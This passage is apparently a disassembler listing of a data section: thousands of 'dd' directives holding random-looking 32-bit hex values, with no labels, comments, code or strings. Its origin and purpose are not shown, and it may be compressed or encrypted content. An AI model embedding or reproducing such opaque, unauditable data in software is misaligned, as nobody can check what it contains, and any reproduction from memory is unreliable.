		dd 7D65B8EEh, 8A6012B3h, 500FF6D0h, 35403903h, 51A9950h
		dd 0AE054585h, 96E03F60h, 0F4810090h, 221AD20Bh, 652477F7h
		dd 4B025406h, 5D5F7E8Fh, 499D6838h, 0E8D21742h,	0DF132DBFh
		dd 19B4C694h, 1EC10ED4h, 0B2762B6h, 0F41C149Dh,	299F8DA3h
		dd 0B5DD01E6h, 66220E09h, 0E6F8A812h, 57F03787h, 0B01B74C9h
		dd 0E4783628h, 5E92714Bh, 80F920DDh, 9739EFh, 0BED7814Ch
		dd 0B54FE8DBh, 41B53FE6h, 0DED0C181h, 0D17D09BFh, 27448A2h
		dd 34458D84h, 4DBD0B30h, 23122265h, 0ACC024EFh,	79217E53h
		dd 98E90D2Dh, 0CED30C67h, 0A3C4900h, 7AC51402h,	56AB00E6h
		dd 5499C952h, 622EDDCDh, 4120377h, 47AE3C35h, 72C3DB0Eh
		dd 772B0BDDh, 9D127D46h, 32AE0511h, 392B1745h, 94459D37h
		dd 25FA3784h, 2D2A0B28h, 68595029h, 5DCB8084h, 2F8865B8h
		dd 26EF3A5h, 2D9346C2h,	0BDE1645Ch, 9D103455h, 0DCA2E99h
		dd 12BE6F95h, 6AE20F31h, 0AD5E0782h, 0E94A6D57h, 0E264BED8h
		dd 50B8FC3Eh, 0C3FBB8D3h, 851119B9h, 0E070E6AFh, 0A66D2FFh
		dd 37D7B64Dh, 266909A2h, 0F32F5A73h, 954650D2h,	3FFC7124h
		dd 91A8508h, 0EDFFC02Bh, 68796093h, 0A4ADD22Bh,	0DCC54EE0h
		dd 0EEE1B564h, 22E72A14h, 0A044A6D3h, 242E337Fh, 8AA09A59h
		dd 0F6FBA91Dh, 19419616h, 0AACE2C4h, 0B838FD93h, 98872FFh
		dd 3F127CD8h, 0F2095774h, 641EED50h, 0FC7E6114h, 0C8EEDA2Bh
		dd 9C18C01Dh, 0F102CEA6h, 6080859Dh, 2845FD9h, 2EAB1205h
		dd 76F92554h, 0C600DC3Fh, 0DD5CF6ABh, 0B69939BBh, 4DBF404Fh
		dd 0FD000BF5h, 0CA4AECCDh, 9CFB416h, 0A8A756E6h, 3C4E6971h
		dd 0D1835B25h, 53253B0Fh, 81B503F8h, 42E5910h, 0DDD9ACC2h
		dd 40D4CA1Bh, 8D769851h, 9D814B5Eh, 0A886398Eh,	0A35103AAh
		dd 0F5850960h, 0D382C9F4h, 0FF610284h, 22BB69E1h, 9DF2902h
		dd 0C37E5913h, 0BB8504C1h, 0CCE0F6F6h, 855A2790h, 791FA220h
		dd 0FE8200CEh, 386DFAAh, 0F3023A51h, 9D236526h,	0A5A8F4E5h
		dd 960BB365h, 0D1437304h, 0AA282E85h, 3153C337h, 7B25DD9Dh
		dd 0C0746D60h, 0C172EDFFh, 0B7C30B97h, 49CC04C1h, 5AE1B872h
		dd 0D73F41A2h, 24E9488Bh, 0FED03B81h, 0EE482E5Bh, 871AB143h
		dd 0F3742AB5h, 4FA002F6h, 7C48A349h, 0CF74A6Fh,	6978F82Fh
		dd 12660444h, 0C5DCECBFh, 0E77AEAAAh, 60731B02h, 882014E8h
		dd 4299AFh, 51F4B7A8h, 98F1E345h, 4F6A1600h, 0EDA4720Eh
		dd 9F649079h, 0FC5A3426h, 613EA4B5h, 0BFA0E7B8h, 3638A25Ch
		dd 898BB750h, 91FD93A0h, 5CC2F31Ah, 2AD26BECh, 2D6BBF01h
		dd 585A4F62h, 0E1AECDC6h, 2ABB880Bh, 7D56C88h, 0B8ACD438h
		dd 0F9FEF017h, 0BD023148h, 9B2F7172h, 0DF84DF57h, 0D202AD33h
		dd 0BDD912BBh, 490CAD12h, 5C1005C4h, 0AB0227E9h, 3C05ED7Ah
		dd 0BA8E303Ah, 562B69E1h, 0BC03A9C1h, 4F9E01BAh, 0DB80AAF2h
		dd 52E72A62h, 0A5D92310h, 6DA889EDh, 0D93EA91Fh, 0EA4A0C00h
		dd 162B90DAh, 0E925919Dh, 8C1CBD90h, 0DB0C09A3h, 0A85C897Ah
		dd 1DBD12DEh, 9822EEA8h, 5BEE4A40h, 0E83BD832h,	0ED986E0Bh
		dd 0CF2C81E5h, 162E0CBEh
		dd 80769BE2h, 3C8A4954h, 845B00DDh, 0D98160E0h,	0A33B674Bh
		dd 0CC017948h, 61633C5Eh, 832F5796h, 0BDB4F90Eh, 725BB8A0h
		dd 0E1EA08DBh, 8108026Bh, 87622529h, 55145Ch, 4786AB76h
		dd 201441FFh, 7C95F269h, 681D60B8h, 0DC990C95h,	68F2FE6Eh
		dd 5F5BF77Ch, 1DE86E23h, 827E28A2h, 8D268F03h, 29FD585h
		dd 0D8811991h, 0DB3774B6h, 3D9004BDh, 60900621h, 6DC74CB6h
		dd 0F2B9B802h, 9CFE6323h, 2DCD6195h, 97999090h,	0B44000Dh
		dd 0FCCECB02h, 0F50207FBh, 0D521495Dh, 0E38D80DBh, 9B5F2CA4h
		dd 61F80B52h, 0C0456D7Fh, 0A447B589h, 4DC1E04Eh, 80001CA5h
		dd 614AEAE5h, 14EC8CB9h, 2990098Ch, 1E57D1BDh, 0B5287086h
		dd 25DE137Ch, 92E4E00Eh, 13EB8102h, 1D149DC7h, 612B6DDAh
		dd 28637ECBh, 0D11A83CAh, 8D99803Dh, 0DEC300B7h, 15B0850Dh
		dd 0A55ECC6Ah, 54887A13h, 7FC20058h, 0B2252A85h, 83017A10h
		dd 116A789Ah, 40E8F5DAh, 870F27ACh, 0E922C9Bh, 1F71915Eh
		dd 6E2E0375h, 9D0900C8h, 69F018EDh, 0B1B32CA2h,	4DF38BCh
		dd 8BFC8ACAh, 65E6301Bh, 2DE5F7BFh, 0EC7351CAh,	0E5181459h
		dd 59607395h, 0FE181Dh,	0B41A749Bh, 6C5C5793h, 4AF87948h
		dd 755BB4CDh, 6662D7C0h, 484BB4BFh, 0E2071CDh, 2A080995h
		dd 0B97C966Bh, 23D44D40h, 1B7D1FABh, 1462009Fh,	4A988565h
		dd 0E5C70E16h, 574C1312h, 0B0D706F3h, 38DEB51Fh, 0E3B852D6h
		dd 1E18E889h, 1712D2F6h, 0AEB248BDh, 14984F00h,	31F11A9Bh
		dd 5B4AF198h, 18B23AB6h, 132EC030h, 529EBE8h, 0EB0939CBh
		dd 7700A0A3h, 16C32F69h, 0E5009733h, 26786617h,	4BB755ECh
		dd 89B8CC1Bh, 2FEDA1ECh, 0A7529475h, 0F6D210BDh, 0E3EAA504h
		dd 36B712CAh, 80626FF6h, 0D72E11E5h, 994B0FFDh,	0FF212B70h
		dd 0AFDC15F9h, 9C6D0430h, 0BC874EE5h, 16EA5836h, 92B8DCF6h
		dd 12DE29CCh, 250C9397h, 0E8C6D9D8h, 0C5880F25h, 0F7E2008Bh
		dd 6FFD4DB7h, 89226C12h, 0F96AF6E1h, 0C06BE9BFh, 0F7310214h
		dd 616948B0h, 5507EEDh,	5F6AE311h, 0CF18A8Ah, 20C7040Eh
		dd 2884ABD5h, 6E77EEAh,	0B75A47Ah, 2312F62h, 189138B7h
		dd 0D85BD180h, 964AE5E8h, 6E0FA3F0h, 66012381h,	3F3C4DB9h
		dd 17AB3312h, 16BB885Ah, 4CDB0E00h, 0A5A8203Ah,	0A48C98FAh
		dd 0F35F4A6Ah, 932680B5h, 1212089h, 3F99E28Eh, 0C9832E3Dh
		dd 0E8AF1929h, 205CD76Ah, 514A5F52h, 37037F5h, 0B03ABC98h
		dd 21121688h, 54E0964Bh, 0C5B6957h, 0C5778475h,	0E25BCCECh
		dd 8CA895h, 1A27FFBDh, 0E18529E5h, 90F7224Ah, 65BD890Bh
		dd 0B5579DA9h, 9E1691C8h, 964E8C2h, 0B6AB7FB5h,	41317041h
		dd 14150D36h, 7A5E3EB8h, 5E4802B0h, 5E2EE016h, 17345156h
		dd 240585B1h, 433752Fh,	0BCBEFAFDh, 686E4A35h, 21886101h
		dd 2F3B80E6h, 9A2A243Dh, 8D3B80DFh, 1A99C51h, 53C6D74Fh
		dd 6FF2E8E9h, 3ABC6FADh, 66391E1Dh, 0C18BF505h,	2CC903DBh
		dd 124F9B70h, 0F6AC0424h, 0C4DCBFC0h, 0E2B51C6Eh, 32D1DDh
		dd 0FA874C36h, 6A9EA01Fh, 6901D902h, 0B7500078h, 35BC90ABh
		dd 0A0D7530Dh, 0D9F9F220h, 0E009106Dh, 24831A19h, 2A548E76h
		dd 11FD252Fh, 6ABCE5C4h, 0B3993ADCh, 9CE40A06h,	27038AB2h
		dd 52297B2Ch, 5D8D9953h, 5B38F52Ch, 0F954E2E9h,	8DEBB60h
		dd 0BC247DD7h, 0EF00DC2Ch, 0ED1DA093h, 0B87D2298h, 413F2769h
		dd 0ABD03BDBh, 8C21052Eh, 0AE641703h, 6F925120h, 0CA74004Bh
		dd 0D4BBE210h, 5807AF41h, 0EFBA9FDDh, 2D9586BBh, 6F668D76h
		dd 19485161h, 0CEDDD40Bh, 0C034F85Ch, 0E19131D4h, 0DB1700C0h
		dd 16EC387h, 1B7E1418h,	5E352FF9h, 0A4BE20BAh, 650FF220h
		dd 0A1F4F693h, 437F9054h, 0F1DDD2Bh, 0BCCCC056h, 4F17AEEh
		dd 0FF8D2191h, 426EAFD1h, 85F3AF00h, 0FBC4DB06h, 705E9497h
		dd 0F406966Fh, 0B04F2C07h, 38E170FFh, 1120D46Dh, 77274C19h
		dd 0FD47334Ah, 26A0384h, 0DB260490h, 0EF565025h, 0BB14DA18h
		dd 0F84C4AACh, 2F1CAAE3h, 8C2A4A6h, 0E9091D25h,	989C57EDh
		dd 16F29820h, 42B99D2Bh, 298D0144h, 63B8D529h, 0F5820389h
		dd 0BB50C880h, 1E2DAB21h, 64F88B3Ch, 0F86F00EBh, 3AC106DBh
		dd 80FC243h, 696549B9h,	0A8221811h, 0DC7D00F2h,	3D8B1EBCh
		dd 7E25FD02h, 3D0FE5BDh, 0B515CD10h, 0CB8F8EDh,	1F9F2800h
		dd 3CBD633Fh, 0B0F94E3Eh, 949717A8h, 4666EF34h,	39F8BDF0h
		dd 9CD4A801h, 19E59D29h, 25B55F84h, 104160Fh, 28AE3539h
		dd 108B2EB8h, 2508A198h, 76E1C6B0h, 0FDC500FBh,	97CD9657h
		dd 0EA00A3CFh, 4505E379h, 1498529Fh, 0A070E6C1h, 4238510h
		dd 0FD8A71E4h, 0FA2252BDh, 4AA27295h, 289CE3F5h, 6A95D785h
		dd 0E465C9Ch, 0EC8B501h, 6093016Bh, 403A800Fh, 295A5152h
		dd 3FC985B5h, 9F9F5C61h, 0E90B2181h, 216C5DBBh,	4FAA0E00h
		dd 0E78DC94Eh, 24880B8Eh, 158336D0h, 5F8B4C44h,	455EFBB2h
		dd 5311102Fh, 9EEE4Bh, 331B112Dh, 81643F0Ah, 42A54000h
		dd 7F4104BCh, 0BD6FFBCAh, 0E95F25DBh, 40448D5Fh, 0B06225E3h
		dd 655E2015h, 51491664h, 8A334B41h, 2155E94Bh, 0A5038608h
		dd 1A975DF0h, 40AEDC64h, 0D78D38Fh, 4AADEF07h, 0CE04DC01h
		dd 2D8871BCh, 0AD03484Fh, 6F733309h, 2A880F0Ah,	58E183Bh
		dd 16B8BF0Dh, 1038857Eh, 0F9899EDDh, 20086F7Bh,	0DF8B096Fh
		dd 2F4707Ch, 38156E4Fh,	3141B594h, 71886E69h, 0BF4203E6h
		dd 0ED778FBAh, 5DEB81A0h, 18901412h, 0AD1318B8h, 0C875AE1Ch
		dd 41F73E80h, 64B91614h, 0E812A911h, 81CB504Dh,	0E6224A01h
		dd 301BA2E3h, 0B00227D5h, 6DE89007h, 7DEF6084h,	0E381802Ch
		dd 0EA75F505h, 0F2E6FC10h, 1BE467E0h, 92208400h, 2BCD578Ah
		dd 0E15248C0h, 12255D10h, 57EDBA5Fh, 730669F8h,	41E9EF49h
		dd 9599705Ah, 11C4EF7Bh, 0D61AEE40h, 0D2E4B532h, 108C1B5Bh
		dd 921F271Ch, 0FAC49F5Ch, 6BD252BDh, 0AB1900D7h, 90A37D43h
		dd 91AD2594h, 1300B3C4h, 0AB7A6870h, 12342B2Ah,	3051AA73h
		dd 3959DF3Eh, 91E91F01h, 5B5F6689h, 9D1F78C6h, 1D59D75Bh
		dd 798C2E19h, 515F0589h, 98810F1Eh, 1A4B41FEh, 4D282CBh
		dd 142D1D99h, 0A6CE1E27h, 1BA67DD3h, 3861FBE0h,	0E65D8005h
		dd 0A4EF8974h, 0EF0081DDh, 24DDE2A6h, 5B41BD29h, 8B6FA304h
		dd 0D8C05B91h, 9B3B3656h, 39D6000Ch, 80C68DEEh,	0B87A27E3h
		dd 1D4DF0C6h, 5E64AB2h,	683018B2h, 3CEA16BCh, 206DFC3Dh
		dd 0D6D59021h, 0D77FBCECh, 79A01FA6h, 0EE00B148h, 9888F2D5h
		dd 9BF4DF7h, 60446676h,	31449579h, 2D6AAF34h, 0A689D100h
		dd 9529DA8Bh, 0A4A3395Bh, 0D1A519C8h, 0EA09942Dh, 1C791725h
		dd 0B48BCAC6h, 0F598DC9Fh, 25439301h, 9EB3C1B1h, 9D62E131h
		dd 0CF35Ah, 1B65EA77h, 0ABEE627h, 0B780124Fh, 16C909CCh
		dd 294F505Eh, 0BE7178DEh, 0A601DC11h, 0DB640941h, 243A8BD2h
		dd 2589B9B1h, 0D8D05BFCh, 830423ECh, 0C86A898Dh, 2C03D9EBh
		dd 0BBDC1290h, 0F07B8AF3h, 50572D49h, 0E4FEA01Ah, 2629BD84h
		dd 92747B1Eh, 6F6A597Dh, 3E02BDE8h, 0EF9C2368h,	54056A7h
		dd 0AF2F67DCh, 62E0EFF6h, 0C50534E5h, 0CEFD125Ah, 23056BAEh
		dd 0E50F0019h, 0E88B2BDFh, 2C4E65B2h, 0FCCA87B9h, 5AD303A7h
		dd 1DAE903h, 7CF4C476h,	86DF098Ah, 0BC89AC57h, 6F9D4270h
		dd 9F374066h, 7F16FB54h, 2F30AFC4h, 0C7BFC5h, 99A46EDCh
		dd 1D9D2359h, 4BD30159h
		dd 0D179558Dh, 991D07B8h, 0A941386Ah, 7C3F52A4h, 4A01D830h
		dd 5111F71Eh, 2F0EE9C3h, 0E2335773h, 0FB285769h, 6503F4E1h
		dd 0B23BAF3Ah, 296A16D6h, 0BC53E914h, 4D008C1Bh, 867437FFh
		dd 97F2FE1Ah, 0D8023E8Bh, 50000239h, 0B6EBB51h,	5B0EFACEh
		dd 95270AF2h, 8D68C8C1h, 2B044165h, 6FBBF824h, 0C4EA0927h
		dd 606A62A8h, 4A5FB895h, 4F31F81Ah, 68610BD0h, 3235259Fh
		dd 0D84999F0h, 0CE6001BDh, 8DF845ECh, 88949A2Eh, 92EDC01Dh
		dd 2703FD55h, 569B5028h, 0E1841002h, 0A6895E35h, 8075E87Eh
		dd 341FAEC0h, 0F66017B7h, 5E8EA290h, 7DBA30FFh,	0EE007F05h
		dd 9304B7Bh, 0F4DC7485h, 9050095Bh, 8D7EBD2Bh, 0D6DF76A5h
		dd 61001C46h, 1A9A95D9h, 80420DAh, 659D31E7h, 0B7F92297h
		dd 0F37F80CDh, 74061455h, 0E5FC4725h, 17F1AF04h, 0F3D63D80h
		dd 7DF7182h, 9D14E47h, 61F8B254h, 3751DB56h, 969F0238h
		dd 5E53E616h, 1305DC6Eh, 0FA33A4B8h, 1BF0FC35h,	0B3B0124Dh
		dd 0AE05F37Ah, 0C756BC4Ah, 0F02E8D09h, 783297Ch, 0BF823BBDh
		dd 61D18ACAh, 8B50C45Ch, 0E1CFBD04h, 0A2C50C40h, 0F9C10A37h
		dd 59E0FF39h, 0E461AD5Bh, 113001D7h, 0CE46D920h, 4A642A51h
		dd 0B9A4C344h, 6AD7ACB9h, 0C1D203BCh, 89A7EB4Eh, 82A5023h
		dd 64A50885h, 31F4B7AFh, 124C2EDCh, 0A779893Dh,	1F230398h
		dd 0B8C21300h, 7E513FDDh, 0C12916A9h, 0ACF2BD7Bh, 1C008C1Dh
		dd 84C67EE4h, 3051686Dh, 0CF842AD1h, 961CAAC5h,	614EB560h
		dd 0D7A8D250h, 0CE7B202Dh, 9D181779h, 13C43300h, 0E57296BFh
		dd 3A26854Bh, 0E574BFD6h, 0D387BBC1h, 722E37F9h, 0B8C1FB9Eh
		dd 0B4CE6B99h, 9C66A5Fh, 891BF411h, 0F105F2Ah, 5194C486h
		dd 52BC01F6h, 17FEB9C7h, 64CA40F9h, 6E4E7346h, 1823BE6Bh
		dd 0A276A701h, 152EA04Ah, 8BC59CFh, 0D5BF7E1Ch,	899E9F5Fh
		dd 8A6F2096h, 0C2B98300h, 0EFA82AD6h, 876A9E16h, 0DAD7B4BDh
		dd 88AA97A4h, 1600CEC9h, 8DAE5E10h, 165B1306h, 0C88B0FA2h
		dd 0B4848C10h, 0BA121271h, 0C5F1FE75h, 6ADE068Bh, 2F602ED4h
		dd 0D045ACh, 0A0161E21h, 54EFBE86h, 0A6A8CB04h,	9F839802h
		dd 5B552DDDh, 546ED9h, 0F1CD2045h, 0A03EDEC2h, 18E01E4Eh
		dd 1BBA9701h, 50C419DFh, 45B96Fh, 0BC72F6E9h, 82C654h
		dd 51EFE146h, 29AD1C0Eh, 0F6916EA8h, 0DBC82A17h, 5A8488BBh
		dd 0B373EB04h, 99EA9510h, 4FE5627Dh, 0A1B851BDh, 0C4838C00h
		dd 558531E3h, 49389926h, 0DBE9585Ch, 0A843505Eh, 9D33CE04h
		dd 3FBC1A55h, 305F70E3h, 0E45ECC6Fh, 2812EFD4h,	0CBA255E8h
		dd 3CE1B501h, 0D0C22FE2h, 20008D5h, 3087F21Ah, 69690F5h
		dd 4F39BB66h, 0FF7B0A50h, 7F6E6BF5h, 82BF1A02h,	0D2F55645h
		dd 0BEB3273Dh, 0ADA377F1h, 0F8E35717h, 9AE38100h, 5F40C844h
		dd 9D64B097h, 4820AE1Dh, 0FE2D8E50h, 800FA37Bh,	72BD12DFh
		dd 0AD9BA9E5h, 0B030C9CBh, 4E9F5360h, 390FC8C7h, 8FD7C00h
		dd 0C3D722BAh, 9EEDB53Eh, 0BF651964h, 0AC4B17E2h, 5B162049h
		dd 0F25991C6h, 4E2D2FC8h, 0C5DB701h, 2FC0E901h,	32053012h
		dd 0C2F532E5h, 50925564h, 5F19AF3Dh, 0C064BE13h, 74C680AAh
		dd 504B5FEEh, 7A818FA8h, 0F069A43Eh, 0FC00473Dh, 1EB048A2h
		dd 3CE3CFD7h, 3AE1CD83h, 6A5F03C3h, 0DA2F4FA2h,	0DD2D0CBDh
		dd 6AF853B8h, 0DE3EB4h,	9CB126B7h, 79154909h, 2217029Fh
		dd 0C4E6755Ch, 0AF02300h, 62AAC7Eh, 6F851432h, 267A9104h
		dd 8975AE02h, 365E13E9h, 12C98E69h, 15E064BEh, 0DCBDEC81h
		dd 0AF0107C5h, 0B278920Eh, 649245B3h, 825FAC31h, 59718D89h
		dd 60B924ACh, 7AD72360h, 1C721024h, 0A8968800h,	642A6F4Bh
		dd 566548C7h, 75FE66C2h, 0DF5ADBCCh, 0DA8272B9h, 37FFD1FFh
		dd 9D901A0h, 2B35998Dh,	8A7800CEh, 2FF02F7h, 55F9F79Ah
		dd 0F43B03BDh, 0FC6A7E39h, 0D6E020E6h, 0DA01A226h, 20CF1E58h
		dd 9648E9F7h, 61E21F06h, 1D8D00A1h, 325599F8h, 3D0019E2h
		dd 16D38118h, 9769CEA2h, 0C868B301h, 0BFB23A50h, 0DB80E83Bh
		dd 0A8461B3Eh, 9807615Bh, 0C4BBF2A6h, 31400D70h, 0C6379790h
		dd 3FFC7204h, 0A3C1AA81h, 7A4DB666h, 0F91209BCh, 2024DB1h
		dd 20ED1BDh, 0F05C43E9h, 78228871h, 2D718509h, 12273D55h
		dd 4D06F3BCh, 2472BC33h, 0F5E1137h, 0D8200FF4h,	5DBD8947h
		dd 9002259h, 85902AE7h,	0B7CC08FAh, 5B518802h, 77A8504Fh
		dd 0FF4D9089h, 65D991C0h, 47320908h, 367ACEEBh,	0D89E7B97h
		dd 0BF04426Ch, 1C275961h, 0E75ED81h, 912FDE6Bh,	0E8B3D29Dh
		dd 4535541Dh, 81FB8B26h, 2F0DA501h, 4EBF5A70h, 2C1B1FBEh
		dd 0DE61266Ah, 7E18EB2Eh, 2E6FCF02h, 10EB415Dh,	0F2B215h
		dd 19A7BD84h, 0BD27C18h, 283D6975h, 2C85F602h, 0AF427DD4h
		dd 0C4705E3Ch, 8969B8BBh, 82A35EDFh, 16FDB589h,	0BB81555Eh
		dd 30D96187h, 9F58482Fh, 0DE9D2B8Bh, 5DC1A501h,	219518F8h
		dd 58321FB5h, 708FA911h, 85311163h, 1DBF83CDh, 2B48D865h
		dd 251B8C8h, 0F8D18BD8h, 4C5764E9h, 4C5000A0h, 0BD0B4755h
		dd 5C8220C1h, 75762549h, 7AF81809h, 0C75BB52Fh,	25A99CB2h
		dd 0BB34A4E9h, 8B775909h, 0A417797Fh, 0F07C091Eh, 1F110B79h
		dd 3ECF525h, 0F0F1B380h, 622A4534h, 0DB01511Fh,	57683B93h
		dd 84FD612Eh, 68B20580h, 0B60EAE5Fh, 9786257Bh,	841D3583h
		dd 0AE6A5F05h, 3EC63A9Bh, 9719445h, 77F43A97h, 7BB906E0h
		dd 0B54D90AAh, 0EF1BADE1h, 40318B30h, 0D109BB34h, 7069DFF1h
		dd 0E9EA9AF8h, 0A9F08726h, 3104C9BAh, 1513084Ch, 16C1BD81h
		dd 0C889CF2Bh, 0C2B4C418h, 467D58CCh, 1CD030Eh,	0BAE83BFDh
		dd 0E34BB84h, 8E772FAEh, 0D7688228h, 17BC6169h,	41731371h
		dd 2D910C62h, 0D56A32D7h, 8400BAB7h, 0C916E98Ah, 654A9E25h
		dd 0B1D30360h, 0AF940A61h, 1A23446Bh, 59C11700h, 0D42DC7Bh
		dd 159D238Dh, 0A0CF6A51h, 274C56A0h, 0D2B84102h, 578B20D9h
		dd 8900D066h, 0E0E37E4Bh, 0DBC0F5h, 0C45E060Eh,	0EC6A35DCh
		dd 0BCCB595Dh, 0D6149728h, 83415E45h, 0B62B1DE1h, 0C9BF0295h
		dd 5C4A6E69h, 0B57DE9B3h, 0B1772F1Ah, 0C86E310Fh, 852C29EFh
		dd 0E1454A4Dh, 70B5CCh,	0C7628DB2h, 4F6B8C89h, 0BE1E7907h
		dd 0A916D37h, 282EC52Dh, 0E48766A3h, 53BD641Bh,	8BA0B2D2h
		dd 0D808F351h, 0F61D1BCEh, 2E92C74Ch, 0A5BFA600h, 9F18EC83h
		dd 14F28790h, 0DECCF50Fh, 5158C080h, 261E9FA1h,	254B0584h
		dd 0CF597B5Eh, 0F6B0DDD2h, 35022D7Ah, 27AC71B1h, 0EF22D760h
		dd 0B3C8C7EBh, 9972E4Dh, 4B7E5AA5h, 0C0EBEDEDh,	7D1E96B6h
		dd 0F6C60050h, 29887941h, 17ECECB2h, 0EB6F3897h, 28314675h
		dd 0E10148E8h, 1667BC13h, 0E360938Fh, 0B750125Fh, 0B69DC5F3h
		dd 0E3A0E7EDh, 16A95526h, 0A89532F6h, 10C54EADh, 0EFE880A9h
		dd 5BB5F500h, 6E7EBC3Ch, 0B9BD2709h, 40BF0107h,	68371E2Dh
		dd 41C63D0Bh, 47BC074Bh, 7F954CBh, 0BA5EC5C2h, 411E60C6h
		dd 0A112BAD1h, 91A32632h, 55BD2B04h, 0D770B92Eh, 9AE0A5B6h
		dd 0FE5A8AD4h, 0ACD223F8h, 0F8529FD1h, 0F1766FE3h, 0DE3B132Eh
		dd 1699C04Ah, 12C15FB9h, 0AFFE0851h, 1B23AC6Bh,	77E27400h
		dd 280DD866h, 25EAEB4Fh, 56CE284Dh, 4FD3800Bh, 0DF0BA089h
		dd 25F064BBh, 63D313E3h, 0EC191559h, 3CB45359h,	0DF468989h
		dd 0C29C0637h, 0B90B5142h, 788055FAh, 60968E95h, 0F50B68B0h
		dd 0F567F273h, 611CBA44h
		dd 50D744B5h, 117ECCBAh, 53C03D00h, 6EA6E8Ah, 10DB04F2h
		dd 0EF6160ADh, 0C305216h, 2F921481h, 0DCD8CC16h, 217B797h
		dd 0B589A5DAh, 9526F0F7h, 14648F6Dh, 819C8E63h,	112014Fh
		dd 0D640685Bh, 9E519A1Dh, 1C7E406Ah, 6600BD3Dh,	0F9CA4FE6h
		dd 0E32DA3Ch, 5B85D9F1h, 7AA1E032h, 7901EA2Eh, 2891BD09h
		dd 622588A4h, 0D89CFBA8h, 90950763h, 479D607h, 54184187h
		dd 6EC2BEF2h, 6ED08D57h, 7500BE14h, 88655983h, 45600C5h
		dd 729CA443h, 611E5CFAh, 8B45F9DBh, 0CD050DE0h,	6FA6905Fh
		dd 0ACE58AE0h, 0D4193B00h, 0FCB2B9Fh, 0AD7F9C8Bh, 9D0537D4h
		dd 9BAB0C7Dh, 0CB61D753h, 0B342C679h, 16A5F65h,	0DC535Eh
		dd 0A5E59D91h, 9C8447D5h, 167520Bh, 0A7B9D68Dh,	46F6515Eh
		dd 99372616h, 2604582Dh, 1218BB7Fh, 89FEB22Ah, 0EA385D31h
		dd 0D400B221h, 4CAB04FEh, 13F1D6Ah, 0DBBB0791h,	3CFD267Bh
		dd 45F272Bh, 0FF1628DEh, 30AE5BD5h, 299D23F6h, 6FF3205Ah
		dd 0C2F64EBEh, 923F08A0h, 2C26B32Ch, 1AE16525h,	77E451F6h
		dd 12A06200h, 658070DBh, 0F9340079h, 7B893C76h,	0E5B5F1ACh
		dd 47D39A08h, 2DCFE76h,	0FAE7B94Eh, 0E1A48D7Fh,	31478289h
		dd 5579EFEh, 82092A91h,	0B0D7FB1Bh, 4247BB09h, 0C49A9217h
		dd 72E2FD8Fh, 1A55C4BAh, 0D6D95673h, 0BA021646h, 0D98BCB42h
		dd 96027D70h, 31529EBFh, 800BF95Ch, 6728C46Ah, 7A004372h
		dd 0FF9E2AF4h, 576641Eh, 425A55F1h, 509BAA5Fh, 398761C0h
		dd 0AF09260Dh, 781BDAF7h, 7810285Dh, 8E9E2BA2h,	9992CD3h
		dd 3ADD1CD1h, 5C418B79h, 1546D6BFh, 76BCCE18h, 3597EB29h
		dd 841591E6h, 0DFB81E03h, 11A60BD2h, 7B9DD270h,	18175970h
		dd 974939ABh, 803ABCCAh, 0FB9A9C0Ch, 28180075h,	98B23D7Bh
		dd 0C512BF66h, 71EE5B53h, 2A17CDF8h, 9A5A9EF6h,	3E41807Ah
		dd 46DBC21h, 0F4E52270h, 4BE0B88Fh, 0A893569Bh,	0D34F04ECh
		dd 63AE3238h, 439C83E0h, 8C0DB531h, 322544F2h, 0CD97B2CEh
		dd 0A3C6C1C3h, 39BBCC13h, 16193D12h, 0F3BF0806h, 81B7B150h
		dd 0F7784DE8h, 13703BADh, 95CBC9F3h, 1564B7CDh,	0B3EFA560h
		dd 6650A027h, 0BB533D9Bh, 6CC0F409h, 24341102h,	7981B5B7h
		dd 2E7DE471h, 97B387D8h, 0CB5F85E3h, 7EF0B8F6h,	5A4B382Bh
		dd 0D83FAD8Dh, 9FB8DE7Fh, 44939495h, 9803BF10h,	9661AAE4h
		dd 519BB850h, 147F7790h, 5231F780h, 0C5BFF896h,	8FABF88Ah
		dd 47CD4E56h, 25D71C3Bh, 0DDA06773h, 0D2D5C312h, 608D30E2h
		dd 0A0B4273Ah, 95C15ACAh, 0AE29E604h, 0EB816A70h, 476A1210h
		dd 7F01E13Bh, 65AC8BA9h, 1D72E850h, 0BE547400h,	0D3BBB12Dh
		dd 0E35BFC3Fh, 0B472E76Ah, 832D2FF6h, 1A11B374h, 1D202648h
		dd 0F3D3E917h, 0E3814D80h, 0A9C64EAEh, 10DD125Bh, 0E64A46E7h
		dd 168CE023h, 409EA56h,	0A732BBFh, 978DBC72h, 0A527D6DEh
		dd 0FA5A6C52h, 0B507A0F3h, 92506171h, 3F7690D8h, 7AE270DCh
		dd 9B390094h, 0D0E70C9h, 4FB46AF5h, 0F10C00DEh,	0EB38C293h
		dd 34BAE419h, 8F5F4CDDh, 403E14E5h, 0B4A42609h,	0AE11E212h
		dd 0B3CF3400h, 97037FE8h, 51FB6909h, 28038370h,	0F19FEF7Ch
		dd 4E19B33Fh, 95013FF2h, 508F5D0Bh, 10F72A5Fh, 3E66DBA1h
		dd 0FCC4119Eh, 0FAC2FF7Ch, 24D771Ch, 8A6019E4h,	83001CE4h
		dd 0EDB7C9D4h, 25644EBBh, 0A7CC5F2Fh, 0B729FB40h, 8B598309h
		dd 0B45B96C6h, 0C400DCB0h, 901C2337h, 25A86B17h, 135C026Ah
		dd 0F792C1DCh, 6A90C27Bh, 951023A7h, 38215804h,	0EBB5DA17h
		dd 32B8553Dh, 13F94224h, 76821660h, 0FC010117h,	1585095Fh
		dd 3A703E1Dh, 40619D03h, 0D5AE90Eh, 0EC846AE3h,	1064B911h
		dd 0E84829C1h, 6B567D01h, 6AD7800Fh, 0C14FBCE6h, 3A6FCD4Eh
		dd 0F7D61C92h, 0F5B458D0h, 0B17F16DCh, 7235BE1Bh, 0B70DCCAAh
		dd 2484D34Bh, 0C8CCBD9Fh, 0BFE2D7BAh, 0FB1D1A97h, 6F4179BDh
		dd 11453781h, 0E0A18A6Bh, 30E75C40h, 0DBAAE3A7h, 6A2E0B4Bh
		dd 0DE53FFh, 233A2194h,	89CF0631h, 68019D25h, 0EF41BDDBh
		dd 59B5B78Fh, 0E160FF52h, 25AD4039h, 2DCC1085h,	7E011B20h
		dd 0C049B731h, 569EACB0h, 0BF001F20h, 488F62A4h, 70E65Bh
		dd 0A1C7E781h, 71E4093Dh, 0BCF06079h, 77858A0Bh, 88FEA261h
		dd 92455C44h, 949DB9E7h, 344E7DAAh, 0AC92F1BDh,	0F6EB8051h
		dd 1D0C649Ch, 809BE62Ah, 2D126ADBh, 26EC581Dh, 5E3C5D18h
